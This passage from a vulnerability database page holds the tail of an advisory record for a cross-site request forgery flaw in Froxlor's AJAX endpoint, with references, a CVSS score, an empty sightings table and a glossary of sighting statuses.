"modified": "2026-08-18T20:48:30Z",
"published": "2026-08-18T20:48:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-xpr4-8vp6-c87j"
},
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/commit/5f540fe361e7e13e8c5a32805b793a25e9e26a0e"
},
{
"type": "PACKAGE",
"url": "https://github.com/froxlor/froxlor"
},
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/releases/tag/2.3.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Froxlor has CSRF Vulnerability in AJAX Endpoint \u2014 Missing Cross-Site Request Forgery Protection"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.